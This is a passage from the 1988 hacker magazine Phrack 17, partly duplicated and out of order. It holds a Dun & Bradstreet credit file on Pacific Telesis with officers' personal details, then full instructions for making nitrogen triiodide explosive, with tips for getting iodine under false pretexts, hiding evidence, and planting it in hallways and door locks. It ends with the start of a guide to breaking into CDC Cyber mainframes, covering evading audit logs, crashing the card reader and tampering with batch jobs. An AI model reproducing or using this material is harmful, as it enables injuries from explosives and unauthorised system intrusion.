COMPANY CHANGE UPPER MEDIAN LOWER

Quick Ratio . . . . . . . . . 0.9 (10.0) 2.9 1.2 0.6 Current Ratio . . . . . . . . 1.4 (6.7) 4.9 2.2 1.0 Total Liab to Net Worth (%) . 168.9 (4.3) 127.4 180.2 297.2 Sales to Inventory. . . . . . 9.7 32.9 56.2 33.8 20.0 Return on Sales (%) . . . . . 0.4 (91.1) 20.1 14.6 11.3 Return on Assets (%). . . . . 0.4 (89.5) 7.2 5.7 3.7 Return on Net Worth (%) . . . 1.0 (90.6) 19.0 15.9 12.8

Industry norms based on 469 firms,

with assets over $5 million.

D&B Report on Pacific Telesis

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 3 of 12 : Dun & Bradstreet Report on Pacific Telesis

Pacific Telesis Credit File, taken from Dun & Bradstreet by Elric of Imrryr

Name & Address:

PACIFIC TELESIS GROUP (INC)

140 New Montgomery St

SAN FRANCISCO, CA 94105

Telephone: 415‑882‑8000

DUNS Number: 10‑346‑0846

Line of Business: TELECOMMUNICATION SERVICES

Primary SIC Code: 4811

Secondary SIC Codes: 2741 5063 5732 6159

Year Started: 1906 (12/31/86) COMBINATION FISCAL Employees Total: 74,937 Sales: 8,977,300,000 Employees Here: 2,000 Net Worth: 7,753,300,000

This is a PUBLIC company

12/31/86 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Cash. . . . . . . . . . . . . 200,600 671.5 1.0 9.0

Accounts Receivable . . . . . 1,390,700 (3.8) 6.8 5.7

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.2

Inventory . . . . . . . . . . 116,300 (4.4) 0.6 1.3 Other Current Assets. . . . . 448,700 18.6 2.2 5.8

Total Current Assets. . . . . 2,156,300 9.3 10.6 22.0

Fixed Assets. . . . . . . . . 17,244,900 1.6 84.9 35.6 Other Non‑current Assets. . . 919,300 53.8 4.5 42.4

Total Assets. . . . . . . . . 20,320,500 4.0 100.0 100.0

Accounts Payable. . . . . . . 1,760,300 74.1 8.7 4.2 Bank Loans. . . . . . . . . . 21,800 847.8 0.1 0.2

Notes Payable . . . . . . . . ‑‑‑‑ ‑‑‑‑1.0

Other Current Liabilities . . 623,000 (35.8) 3.1 6.2

Total Current Liabilities . . 2,405,100 21.3 11.8 11.6

Other Long Term Liab. . . . . 5,564,600 (7.6) 27.4 46.8 Deferred Credits. . . . . . . 4,597,500 9.0 22.6 6.4 Net Worth . . . . . . . . . . 7,753,300 6.0 38.2 35.2

Total Liabilities & Worth. . 20,320,500 4.0 100.0 100.0

Net Sales . . . . . . . . . . 8,977,300 5.6 100.0 100.0

Gross Profit. . . . . . . . . ‑‑‑‑ ‑‑‑40.1

Net Profit After Tax. . . . . 1,079,400 16.2 12.0 15.3 Dividends/Withdrawals . . . . 654,100 10.0 7.3 7.7 Working Capital . . . . . . . 248,800 (999.9) ‑‑‑‑ ‑‑‑‑

RATIOS % INDUSTRY QUARTILES‑‑‑

COMPANY CHANGE UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 0.7 ‑‑‑‑ 2.9 1.2 0.6 Current Ratio . . . . . . . . 0.9 (10.0) 4.9 2.2 1.0 Curr Liab to Net Worth (%). . 31.0 14.4 13.2 26.4 38.1 Curr Liab to Inventory (%). . 999.9 26.9 244.8 475.8 675.0 Total Liab to Net Worth (%) . 162.1 (2.9) 127.4 180.2 297.2 Fix Assets to Net Worth (%) . 222.4 (4.1) 144.9 215.0 263.0

(EFFICIENCY)

Coll Period (days). . . . . . 56.5 (9.0) 31.9 46.7 61.6 Sales to Inventory. . . . . . 77.2 10.6 56.2 33.8 20.0 Assets to Sales (%) . . . . . 226.4 (1.5) 210.5 266.1 373.4 Sales to Net Working Cap. . . ‑‑‑‑ ‑‑‑‑ 6.3 2.3 1.1 Acct Pay to Sales (%) . . . . 19.6 64.7 4.9 8.7 13.8

(PROFITABILITY)

Return on Sales (%) . . . . . 12.0 10.1 20.1 14.6 11.3 Return on Assets (%). . . . . 5.3 10.4 7.2 5.7 3.7 Return on Net Worth (%) . . . 13.9 9.4 19.0 15.9 12.8

Industry norms based on 469 firms,

with assets over $5 million.

12/31/85 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Cash. . . . . . . . . . . . . 26,000 550.0 0.1 7.5

Accounts Receivable . . . . . 1,446,200 20.6 7.4 5.6

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.4

Inventory . . . . . . . . . . 121,700 ‑‑‑‑ 0.6 1.2 Other Current Assets. . . . . 378,300 (8.3) 1.9 5.1

Total Current Assets. . . . . 1,972,200 22.1 10.1 19.8

Fixed Assets. . . . . . . . . 16,968,400 6.1 86.8 39.2 Other Non‑current Assets. . . 597,700 29.4 3.1 41.0

Total Assets. . . . . . . . . 19,538,300 8.1 100.0 100.0

Accounts Payable. . . . . . . 1,011,100 14.6 5.2 4.9 Bank Loans. . . . . . . . . . 2,300 ‑‑‑‑ ‑‑‑‑ 0.3

Notes Payable . . . . . . . . ‑‑‑‑ ‑‑‑‑0.8

Other Current Liabilities . . 969,900 18.6 5.0 5.9

Total Current Liabilities . . 1,983,300 (1.0) 10.2 11.9

Other Long Term Liab. . . . . 6,021,700 0.8 30.8 46.8 Deferred Credits. . . . . . . 4,216,300 16.6 21.6 6.8 Net Worth . . . . . . . . . . 7,317,000 12.9 37.4 34.5

Total Liabilities & Worth. . 19,538,300 8.1 100.0 100.0

Net Sales . . . . . . . . . . 8,498,600 8.6 100.0 100.0

Gross Profit. . . . . . . . . ‑‑‑‑ ‑‑‑33.7

Net Profit After Tax. . . . . 929,100 12.1 10.9 14.0 Dividends/Withdrawals . . . . 594,400 11.9 7.0 13.0 Working Capital . . . . . . . 11,100 ‑‑‑‑ ‑‑‑‑ ‑‑‑‑

RATIOS % INDUSTRY QUARTILES‑‑

COMPANY CHANGE UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 0.7 16.7 2.5 1.1 0.6 Current Ratio . . . . . . . . 1.0 25.0 3.8 1.9 0.9 Curr Liab to Net Worth (%). . 27.1 (12.3) 15.8 29.4 43.9 Curr Liab to Inventory (%). . 999.9 ‑‑‑‑ 285.7 485.5 790.6 Total Liab to Net Worth (%) . 167.0 (6.7) 134.4 190.1 320.9 Fix Assets to Net Worth (%) . 231.9 (6.0) 148.4 219.0 289.5

(EFFICIENCY)

Coll Period (days). . . . . . 62.1 11.1 31.5 47.2 63.8 Sales to Inventory. . . . . . 69.8 ‑‑‑‑ 52.3 31.4 18.0 Assets to Sales (%) . . . . . 229.9 (0.5) 217.1 277.8 356.8 Sales to Net Working Cap. . . ‑‑‑‑ ‑‑‑‑ 6.0 2.7 1.6 Acct Pay to Sales (%) . . . . 11.9 5.3 6.1 10.4 15.7

(PROFITABILITY)

Return on Sales (%) . . . . . 10.9 2.8 19.0 13.6 9.5 Return on Assets (%). . . . . 4.8 4.3 6.9 5.3 3.4 Return on Net Worth (%) . . . 12.7 (0.8) 19.7 15.8 12.7

Industry norms based on 605 firms,

with assets over $5 million.

12/31/84 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY % NORM %

Cash. . . . . . . . . . . . . 4,000 ‑‑‑‑ 6.6

Accounts Receivable . . . . . 1,198,800 6.6 6.3

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.4

Inventory . . . . . . . . . . ‑‑‑‑ 1.2

Other Current Assets. . . . . 412,400 2.3 4.1

Total Current Assets. . . . . 1,615,200 8.9 18.6

Fixed Assets. . . . . . . . . 15,999,500 88.5 45.0 Other Non‑current Assets. . . 461,800 2.6 36.4

Total Assets. . . . . . . . . 18,076,500 100.0 100.0

Accounts Payable. . . . . . . 882,100 4.9 5.2

Bank Loans. . . . . . . . . . ‑‑‑‑ ‑0.2

Notes Payable . . . . . . . . 304,000 1.7 1.0 Other Current Liabilities . . 817,600 4.5 5.5

Total Current Liabilities . . 2,003,700 11.1 11.9

Other Long Term Liab. . . . . 5,973,500 33.0 47.8 Deferred Credits. . . . . . . 3,617,000 20.0 6.5 Net Worth . . . . . . . . . . 6,482,300 35.9 33.8

Total Liabilities & Worth. . 18,076,500 100.0 100.0

Net Sales . . . . . . . . . . 7,824,300 100.0 100.0

Gross Profit. . . . . . . . . ‑‑‑‑ ‑‑‑28.1

Net Profit After Tax. . . . . 828,500 10.6 14.1 Dividends/Withdrawals . . . . 531,200 6.8 7.3 Working Capital . . . . . . . 388,500 ‑‑‑‑ ‑‑‑‑

RATIOS ‑‑‑INDUSTRY QUARTILES‑‑‑

COMPANY UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 0.6 2.3 1.0 0.6 Current Ratio . . . . . . . . 0.8 3.4 1.6 0.9 Curr Liab to Net Worth (%). . 30.9 17.7 30.6 43.5 Curr Liab to Inventory (%). . ‑‑‑‑ 312.5 491.6 754.3 Total Liab to Net Worth (%) . 178.9 139.2 193.7 314.9 Fix Assets to Net Worth (%) . 246.8 161.5 228.9 295.3

(EFFICIENCY)

Coll Period (days). . . . . . 55.9 34.3 51.6 67.8 Sales to Inventory. . . . . . ‑‑‑‑ 52.1 32.6 20.1 Assets to Sales (%) . . . . . 231.0 216.7 268.2 353.0 Sales to Net Working Cap. . . ‑‑‑‑ 7.2 3.1 1.7 Acct Pay to Sales (%) . . . . 11.3 6.2 10.9 15.4

(PROFITABILITY)

Return on Sales (%) . . . . . 10.6 18.5 13.1 9.8 Return on Assets (%). . . . . 4.6 7.0 5.3 3.3

Return on Net Worth (%) . . . 12.8 19.7 15.7 12.6

Industry norms based on 504 firms,

with assets over $5 million.

END OF DOCUMENT

Name & Address:

PACIFIC TELESIS GROUP (INC)

140 New Montgomery St

SAN FRANCISCO, CA 94105

Telephone: 415‑882‑8000

DUNS Number: 10‑346‑0846

Line of Business: TELECOMMUNICATION SERVICES

Primary SIC Code: 4811

Secondary SIC Codes: 2741 5063 5732 6159

Year Started: 1906 (12/31/86) COMBINATION FISCAL Employees Total: 74,937 Sales: 8,977,300,000 Employees Here: 2,000 Net Worth: 7,753,300,000

This is a PUBLIC company

HISTORY

09/01/87

DONALD E GUINN, CHB PRES+ THEODORE J SAENGER, V CHB GROUP

PRES+

SAM L GINN, V CHB+ JOHN E HULSE, V CHB CFO+ ROBERT V R DALENBERG, EX V PRES BENTON W DIAL, EX V PRES‑HUM GEN COUNSEL SEC RESOURCES

ARTHUR C LATNO JR, EX V PRES THOMAS G CROSS, V PRES TREAS FRANK V SPILLER, V PRES

COMPTROLLER

DIRECTOR(S): The officers identified by (+) and Norman Barker Jr, William P Clark, Willaim K Coblentz, Myron Du Bain, Herman E Gallegos James R Harvey, Ivan J Houston, Leslie L Luttgens, E L Mc Neely, S Donley Ritchey, Willaim French Smith & Mary S Metz. Incorporated Nevada Oct 26 1983. Authorized capital consists of 505,000,000 shares common stock, $.10 par value. OUTSTANDING CAPITAL STOCK: Consists of following at Dec 31 1986: 215,274,878 common shares at a stated value of $21.5 million plus additional paid in capital of $5,068.5 million. The stock is publicly traded on the New York, Pacific and Midwest Stock Exchanges. There were 1,170,161 common shareholders at Feb 1 1987. Officers and directors as a group hold less than 1% of stock. No other entity owned more than 5% of the common stock outstanding. The authorized capital stock was increased to $1,100,000,000 shares in 1987 by Charter Amendment. In addition, the company declared a two‑for‑one stock split in the form of a 100% stock dividend effective Mar 25 1987.

BACKGROUND: This business was founded in 1906 as a California Corporation. The Pacific Telephone & Telegraph Company formed Dec 31 1906. Majority of the stock was held by American Telephone & Telegraph Co (A T & T), New York, NY, prior to divestiture. DIVESTITURE: Pursuant to a court oder of the U S District Court for the Distirict of Columbia, A T & T divested itself of the exchange, telecommunications, exchange access and printing directory advertising portions of its 22 wholly‑owned subsidiary operating telephone companies, including the Pacific Telephone & Telegraph Company. A T & T retains ownership of the former A T & T long lines interstate organization, as well as those portions of the subsidiaries that provide interchange services and customer premises equipment. To accomplish the divestiture, this regional holding company was formed, which took over the applicable operations and assets of the Pacific Telephone & Telegraph Company and its subsidiary, Bell Telephone Company of Nevada. Stock in the subject was distributed to the shareholders of A T & T, who also retained their existing A T & T Stock. The divestiture was accomplished on Jan 1 1984.

RECENT EVENTS:During Jun 1986, the company completed the acquisition of Communications Industries Inc, Dallas, TX. In Dec 1986, the company's wholly‑owned subsidiary Pac Tel Cellular Inc of Michigan signed an agreement to purhcase five cellular telephone properties for $316 million plus certain contingent payments. These five systems operate under the name of Cellular One. This acquaition is subject to regulatory and court approval and final legal review.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑OFFICERS‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

GUINN born 1932 married. 1954 received BSCE from Oregon State University. 1954‑60 with The Pacific Telephone & Telegraph Company, San Francisco, CA. 1960‑64 with Pacific Northwest Bell Telephone Co, Seattle, WA, as vice president. 1964‑70 with A T & T. 1970‑76 with Pacific Northwest Bell. 1976‑80 with A T & T as vice president‑network service. 1980 chairman and chief executive officer of The Pacific Telephone & Telegraph Company. 1984 with Pacific Telesis Group as chairman, president and chief executive officer. SAENGER born 1928 married. 1951 received BS from the University of California. 1946‑47 in the U S Army. 1951‑52 secretary and manager for the Oakland Junior Chamber of Commerce. 1950‑70 held various positions with The Pacific Telephone & Telegraph Company. 1970‑71 traffic operations director for Network Administration in New York, A T & T. 1971 with The Pacific Telephone & Telegraph Company. 1974 vice president. 1977 president. 1984 with Pacific Telesis Group as vice chairman and president, Pacific Bell.

GINN born 1937 married. 1959 graduated from Auburn University. 1969 received MS from Stanford University. 1959‑60 in the U S Army Signal Corps as captain. 1960 joined A T & T Long Lines. 1977 vice president‑staff for A T & T Long Lines. 1978 joined The Pacific Telephone & Telegraph Company as executive vice president‑network. 1983 vice chairman. 1984 with Pacific Telesis Group as vice chairman and group president, PacTel Companies.

HULSE born 1933 married. 1955 received BS from the University of South Dakota. 1956‑58 in the U S Army. 1958 joined Northwestern Bell Telephone Co. 1980 joined The Pacific Telephone & Telegraph Company as executive vice president and chief financial officer. 1983 vice chairman. 1984 with Pacific Telesis Group as vice chairman and chief financial officer.

LATNO born 1929 married. Received BS degree from the University of Santa Clara. 1952 with Pacific Telephone & Telegraph Co. 1972 vice president‑regulatory. 1975 executive vice president‑external affairs. 1984 with Pacific Telesis Group as executive vice president‑external affairs.

DALENBERG born 1930 married. Graduated from the University of Chicago Law School and Graduate School of Business. 1956 admitted to practice at the Illinois Bar and in 1973 the California Bar. 1957‑67 private law practice in Chicago, IL. 1967‑72 general attorney for Illinois Bell. 1972‑75 general attorney for The Pacific Telephone & Telegraph Company. 1975 associate general counsel. 1976 vice president and secretary‑general counsel. 1984 with Pacific Telesis Group as executive vice president and general counsel‑secretary. CROSS. Vice President and Treasurer and also Vice President of Pacific Bell.

DIAL born 1929 married. 1951 received BA from Whittier College. 1961 received MS from California State University. 1951‑53 in the U S Army. 1954 with The Pacific Telephone & Telegraph Company. 1973 vice president‑regional staff and operations service for Southern California. 1976 vice president‑customer operations in Los Angeles, CA. 1977 vice president‑corporate planning. 1980 vice president‑human resources. 1984 with Pacific Telesis Group as executive vice president‑human resources. SPILLER born 1931 married. 1953 received BS from the University of California, San Francisco. 1954‑56 in the U S Army as a second lieutenant. 1953 with The Pacific Telephone & Telegraph Company. 1977 assistant comptroller. 1981 assistant vice president‑finance management. 1981 vice president and comptroller. 1984 with Pacific Telesis Group as vice president and comptroller.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑OTHER DIRECTORS‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

BARKER. Retired chairman of First Interstate Bank Ltd. CLARK. Of counsel to the law firm of Rogers & Wells. COBLENTZ. Senior Partner in Coblentz, Cahen, Mc Cabe & Breyer, Attorneys, San Francisco, CA.

DU BAIN. Chairman of SRI International. GALLEGOS. Management consultant.

HARVEY. Chairman, and chief executive officer of Transamerica Corporation, San Francisco, CA.

HOUSTON. Chairman and chief executive officer of Golden State Mutual Life Insurance Co.

LUTTGENS. Is a community leader.

MC NEELY. Chairman and chief executive officer of Oak Industries, Inc, San Diego, CA.

RITCHEY. Retired Chairman of Lucky Stores Inc. SMITH. Partner in Gibson, Dunn & Crutcher, Attorneys. METZ. President of Mills College.

OPERATION

09/01/87

Pacific Telesis Group is a regional holding company whose operations are conducted by subsidiaries.

The company's two major subsidiaries, Pacific Bell and Nevada Bell, provide a wide variety of communications services in California and Nevada, including local exchange and toll service, network access and directory advertising, and provided over 90% of total 1986 revenues. Other subsidiaries, as noted below, are engaged in directory publishing, cellular mobile communications and services, wholesaling of telecommunications products, integrated systems and other services, retails communications equipment and supplies, financing services for products of affiliated customers, real estate development, and consulting. Specific percentages of these operations are not available but in the aggregate represent approximately 10%. Terms are net 30 days. Has over 11,000,000 accounts. Sells to the general public and commercial concerns. Territory :Worldwide. EMPLOYEES: 74,937 including officers. 2,000 employed here. Employees are on a consolidated basis as of Dec 31 1986. FACILITIES: Owns over 500,000 sq. ft. in 20 story concrete and steel building in good condition. Premises neat. LOCATION: Central business section on side street. BRANCHES: The subject maintains minor additional administrative offices in San Francisco, CA, but most operating branches are conducted by the operating subsidiaries, primarily Pacific Bell and Nevada Bell in their respective states.

SUBSIDIARIES: Subsidiaries: The Company has the following principal operating subsidiaries, all wholly‑owned either directly or indirectly. The telephone subsidiaries account for over 90% of the operating results.

(1) Pacific Bell (Inc) San Francisco CA. Formed 1906 as a California corporation. Acquired in 1984 as part of the divestiture of AT&T. It is the company's largest subsidiary . It provides telecommunicaton services within its service area in California. (2) Nevada Bell (Inc) Reno NV. Incorporated in 1913. acquired from Pacific Bell in 1984 by the divestiture of its stock. Provides telecommunications, services in Nevada.

(3) Pac Tel Cellular Inc, TX. Renamed subsidiary formerly known as Comminications Industries Inc. Acquired in 1986. Operates as a marketer of cellular and paging services. This subsidiary, in turn, has several primary subsidiaries as follows:.

(a) Gen Com Incorporated. Provides personal paging services. (b) Multicom Incorporated. Markets paging services. (4) Pac Tel Personal Communications. Formed to eventually hold all of the company's cellular and paging operations. It is the parent of the following:.

(c) Pac Tel Cellular supports the company's cellular activities. (d) Pac Tel Mobile Services‑formed to rent and sell cellular CPE and paging equipment and resell cellular services, is now largely inactive.

(5) Pac Tel Corporation, San Francisco CA began operations in Jan 1986 as a direct holding company subsidiary. It owns the stock of the following companies:.

(e) Pac Tel Communications Companies‑operates two primary divisions, Pac Tel Info Systems and Pac Tel Spectrum Services. (f) Pac Tel Finance‑provides lease financing services. (g) Pac Tel Properties‑engages in real estate transactions holding real estate valued at approximately $140 million at Dec 31 1986. (h) Pac Tel Publishing ‑inactive at present. (i) Pacific Telesis International‑manages and operates telecommunicatin businesses in Great Britain, Japan, South Korea, Spain and Thailand.

(6) Pac Tel Capital Resources, San Francisco, CA ‑provides funding through the sale of debt securities. INTERCOMPANY RELATIONS: Includes common management, intercompany services, inventory and equipment transactions, loans and advances. In addition, the debt of Pac Tel Capital Resources is backed by a support agreement from the parent with the debt unconditionally guaranteed for repayment without recourse to the stock or assets of the telephone subsidiaries or any interest therein.

08‑27(1Z2 /27) 29709 052678678 H ANALYST: Dan Quinn

12/31/86 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Total Current Assets. . . . . 2,156,300 9.3 10.6 22.0 Fixed Assets. . . . . . . . . 17,244,900 1.6 84.9 35.6 Other Non‑current Assets. . . 919,300 53.8 4.5 42.4 Total Assets. . . . . . . . . 20,320,500 4.0 100.0 100.0 Total Current Liabilities . . 2,405,100 21.3 11.8 11.6 Other Long Term Liab. . . . . 5,564,600 (7.6) 27.4 46.8 Net Worth . . . . . . . . . . 7,753,300 6.0 38.2 35.2 Total Liabilities & Worth. . 20,320,500 4.0 100.0 100.0 Net Sales . . . . . . . . . . 8,977,300 5.6 100.0 100.0

Gross Profit. . . . . . . . . ‑‑‑‑ ‑‑‑40.1

RATIOS % INDUSTRY QUARTILES‑‑‑

COMPANY CHANGE UPPER MEDIAN LOWER

Quick Ratio . . . . . . . . . 0.7 ‑‑‑‑ 2.9 1.2 0.6 Current Ratio . . . . . . . . 0.9 (10.0) 4.9 2.2 1.0 Total Liab to Net Worth (%) . 162.1 (2.9) 127.4 180.2 297.2 Sales to Inventory. . . . . . 77.2 10.6 56.2 33.8 20.0 Return on Sales (%) . . . . . 12.0 10.1 20.1 14.6 11.3 Return on Assets (%). . . . . 5.3 10.4 7.2 5.7 3.7 Return on Net Worth (%) . . . 13.9 9.4 19.0 15.9 12.8

Industry norms based on 469 firms,

Nitrogen-Trioxide Explosive

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 4 of 12 : Nitrogen‑Trioxide Explosives

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Working notes on Nitrogen Tri‑Iodide (NI‑3)

By: Signal Sustain

INTRODUCTION

This particular explosive is a real loser. It is incredibly unstable, dangerous to make, dangerous to work with, and you can't do much with it, either. A string of Black Cats is worth far more. At least you can blow up anthills with those.

NI‑3 is basically a compound you can make easily by mixing up iodine crystals and ammonia. The resulting precipitate is very powerful and very unstable. It is semi stable when wet (nothing you want to trust) and absolutely unstable when dry. When dry, anything will set it off, such as vibration, wind, sun, a fly landing on it. It has to be one of the most unstable explosives you can deal with.

But it's easy to make. Anyone can walk into a chem supply house, and get a bottle of iodine, and and a supermarket, and get clear ammonia. Mix them and you're there. (See below for more on this)

So, some of you are going to try it, so I might as well pass on some tips from hard experience. (I learned it was a loser by trying it).

Use Small Batches

First, make one very small batch first. Once you learn how powerful this stuff is, you'll see why. If you're mixing iodine crystals (that's right, crystals, iodine is a metal, a halogen, and its solid form is crystals; the junk they sell as "iodine" in the grocery store is about 3% iodine in a bunch of solvents, and doesn't work for this application), you want maybe 1/4 teaspoonful MAX, even less maybe. 1/4 TSP of this stuff is one hellacious bang; it rattled the windows for a block around when it went off in my back yard.

So go with 1/4 TSP, if I can talk you into it. The reason is the instability of this compound. If you mix up two teaspoonfuls and it goes off in your hand, kiss your hand goodbye right down to the wrist. A bucketful would probably level any house you'll find. But 1/4 teaspoon, you might keep your fingers. Since I know you're not going to mix this stuff up with remote tools, keep the quantities small. This stuff is so unstable it's best to hedge your bets.

Note: When holding NI3, try to hold with remote tools ‑‑ forceps? But if you have to pick it up, fold your thumb next to your first finger, and grip around with your fingers only. Do not grip the flask the conventional way, fingers on one side, thumb of the other. This way, if it goes, you may still have an opposing thumb, which is enough to get by with.

The compound is far more stable when wet, but not certain‑stable. That's why companies that make explosives won't use it; even a small chance of it blowing up is too dangerous. (They still lose dynamite plants every now and then, too, which is why they're fully automated). But when this stuff gets dry, look out. Heinlein says "A harsh look will set it off", and he isn't kidding. Wind, vibration, a breath across it, anything will trigger it off. (By the way, Heinlein's process, from SF book "Farnham's Freehold", doesn't work, either ‑‑ you can't use iodine liquid for this. You must use iodine crystals.)

Don't Store It

What's so wickedly dangerous is if you try to store the stuff. Say you put it in a cup. After a day, a crust forms around the rim of the liquid, and it dries out. You pick up the cup, kabang!, the crust goes off, and the liquid goes up from the shock. Your fingers sail into your neighbor's lawn. If you make this, take extreme pains to keep it all wet. At least stopper the testtube, so it can't evaporate.

Making It

Still want to make it? Okay. Get some iodine crystals at a chem supply store. If they ask, say you need to purify water for a camping trip, and they'll lecture you on better alternatives (halazone) but you can still get it. Or, tell them you've been elected to play Mr. Wizard, and be honest ‑you'll probably get it too. Possession is not illegal.

Get as little as possible. You need little and it's useless once you've tried it once. Aim for 1/4 teaspoonful.

Second, get some CLEAR, NON SUDSY ammonia at the store, like for cleaning purposes (BUT NO SUDS! They screw things up, it doesn't make the NI‑3).

Third, pour ammonia in a bowl. Peeew! Nice smell.

Fourth, add 1/4 TSP or less of iodine crystals. Note these crystals, which looks like instant coffee, will attack other metals, so look out for your tableware. Use plastic everything (Bowl, spoon) if you can. These crystals will also leave long‑standing iodine stains on hands, and that's damned incriminating if there was just an NI‑3 explosion and they're looking for who did it. Rubber gloves, please, dispose after use.

Now the crystals will sort of spread out. Stir a little if need be. Be damned careful not to leave solution on the spoon that might dry. It'll go off if you do, believe me. (Experience).

Let them spread out and fizzz. They will. Then after an hour or so there will be left some reddish‑brown glop in the bottom of the clear ammonia. It's sticky like mud, hard to handle.. That's the NI‑3.

It is safe right now, as it is wet. (DO NOT LET A RIM FORM ON THE AMMONIA LIQUID!)

Using It

Now let's use up this junk right away and DON'T try to store it.

Go put it outside someplace safe. In my high school, someone once sprinkled tiny, tiny bits (like individual crystals) in a hallway. Works good, it's like setting off a cap under someone's shoe after the stuff dries. You need far less than 1/4 TSP for this, too.

Spread it out in the sun, let it dry. DO NOT DISTURB. If you hear a sudden CRACK!, why, it means the wind just blew enough to set it off, or maybe it just went off by itself. It does that too.

It must be thoroughly dry to reach max instability where a harsh look sets it off. Of course the top crystals dry first, so heads up. Any sharp impact will set it off, wet or dry.

While you're waiting for it to dry, go BURN the plastic cup and spoon you made it with. You'll hear small snapping noises as you do; this is the solution drying and going off in the flames.

After two hours or so, toss rocks at the NI3 from a long ways away, and you'll see it go off. Purplish fumes follow each explosion. It's a sharp CRACK, you can't miss it.

Anyway. Like I say, most people make this because the ingredients are so easily available. They make it, say what the hell do I do now?, and sprinkle tiny crystals in the hallway. Bang bang bang. And they never make it again, because you only get one set of fingers per hand, and most people want to keep them.

Or they put it in door locks (while still in the "sludge" form), and wait for it to try. Next person who sticks a key in there has a big surprise.

(This is also why most high school chem teachers lock up the iodine crystals.)

Getting Rid Of It

If you wash the NI‑3 crystals down your kitchen sink, then you have to only wait for them to dry out and go off. They'll stick to the pipe (halogen property, there). I heard a set of pipes pop and crackle for days after this was done. I'd recommend going and throwing the mess into a vacant lots or something, and trying to set it off so no one else does accidentally.

If you do this, good luck, and you've been warned.

‑‑ Signal Sustain

How to Hack Cyber Systems

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 5 of 12 : How to Hack Cyber Systems

How To Hack A CDC Cyber

By: ** Grey Sorcerer

Index:

1. General Hacking Tips

2. Fun with the card punch

3. Getting a new user number the easy way

4. Hacking with Telex and the CDC's batch design 5. Grabbing a copy of the whole System

6. Staying Rolled In with BREAK

7. Macro Library

8. RJE Status Checks

9. The Worm

10. The Checkpoint/Restart Method to a Better Validation

I'm going to go ahead and skip all the stuff that's in your CDC reference manuals.. what's a local file and all that. If you're at the point of being ready to hack the system, you know all that; if not, you'll have to get up to speed on it before a lot of this will make sense. Seems to me too many "how to hack" files are just short rewrites of the user manuals (which you should get for any serious penetration attempt anyway, or you'll miss lots of possibilities), without any tips on ways to hack the system.

General hacking tips:

Don't get caught. Use remote dialups if possible and never never use any user number you could be associated with. Also never re‑use a user number. Remember your typical Cyber site has a zillion user numbers, and they can't watch every one. Hide in numbers. And anytime things get "hot", lay off for awhile.

Magtapes are great. They hold about 60 Meg, a pile of data, and can hold even more with the new drives. You can hide a lot of stuff here offline, like dumps of the system, etc., to peruse. Buy a few top quality ones.. I like Black Watch tapes my site sells to me the most, and put some innocuous crap on the first few records.. data or a class program or whatever, then get to the good stuff. That way you'll pass a cursory check. Remember a usual site has THOUSANDS of tapes and cannot possibly be scanning every one; they haven't time.

One thing about the Cybers ‑‑ they keep this audit trail called a "port log" on all PPU and CPU accesses. Normally, it's not looked at. But just remember that *everything* you do is being recorded if someone has the brains and the determination (which ultimately is from you) to look for it. So don't do something stupid like doing real work on your user number, log off, log right onto another, and dump the system. They WILL know.

Leave No Tracks.

Also remember the first rule of bragging: Your Friends Turn You In.

And the second rule: If everyone learns the trick to increasing priority, you'll all be back on the same level again, won't you? And if you show just two friends, count on this: they'll both show two friends, who will show four...

So enjoy the joke yourself and keep it that way.

Fun With The Card Punch

Yes, incredibly, CDC sites still use punch cards. This is well in keeping with CDC's overall approach to life ("It's the 1960's").

The first thing to do is empty the card punch's punchbin of all the little punchlets, and throw them in someone's hair some rowdy night. I guarantee the little suckers will stay in their hair for six months, they are impossible to get out. Static or something makes them cling like lice. Showers don't even work.

The next thing to do is watch how your local installation handles punch card decks. Generally it works like this. The operators love punchcard jobs because they can give them ultra‑low priority, and make the poor saps who use them wait while the ops run their poster‑maker or Star Trek job at high priority. So usually you feed in your punchcard deck, go to the printout room, and a year later, out comes your printout.

Also, a lot of people generally get their decks fed in at once at the card reader.

If you can, punch a card that's completely spaghetti ‑‑ all holes punched. This has also been known to crash the cardreader PPU and down the system. Ha, ha. It is also almost certain to jam the reader. If you want to watch an operator on his back trying to pick pieces of card out of the reader with tweezers, here's your chance.

Next, the structure of a card deck job gives lots of possibilities for fun. Generally it looks like this:

JOB card: the job name (first 4 characters)

User Card: Some user number and password ‑‑ varies with site EOR card: 7‑8‑9 are punched

Your Batch job (typically, Compile This Fortran Program). You know, FTN. LGO. (means, run the Compiled Program)

EOR card: 7‑8‑9 are punched

The Fortran program source code

EOR card: 7‑8‑9 are punched

The Data for your Fortran program

EOF card: 6‑7‑8‑9 are punched. This indicates: (end of deck)

This is extremely typical for your beginning Fortran class.

In a usual mainframe site, the punchdecks accumulate in a bin at the operator desk. Then, whenever he gets to it, the card reader operator takes about fifty punchdecks, gathers them all together end to end, and runs them through. Then he puts them back in the bin and goes back to his Penthouse.

GETTING A NEW USER NUMBER THE EASY WAY

Try this for laughs: make your Batch job into:

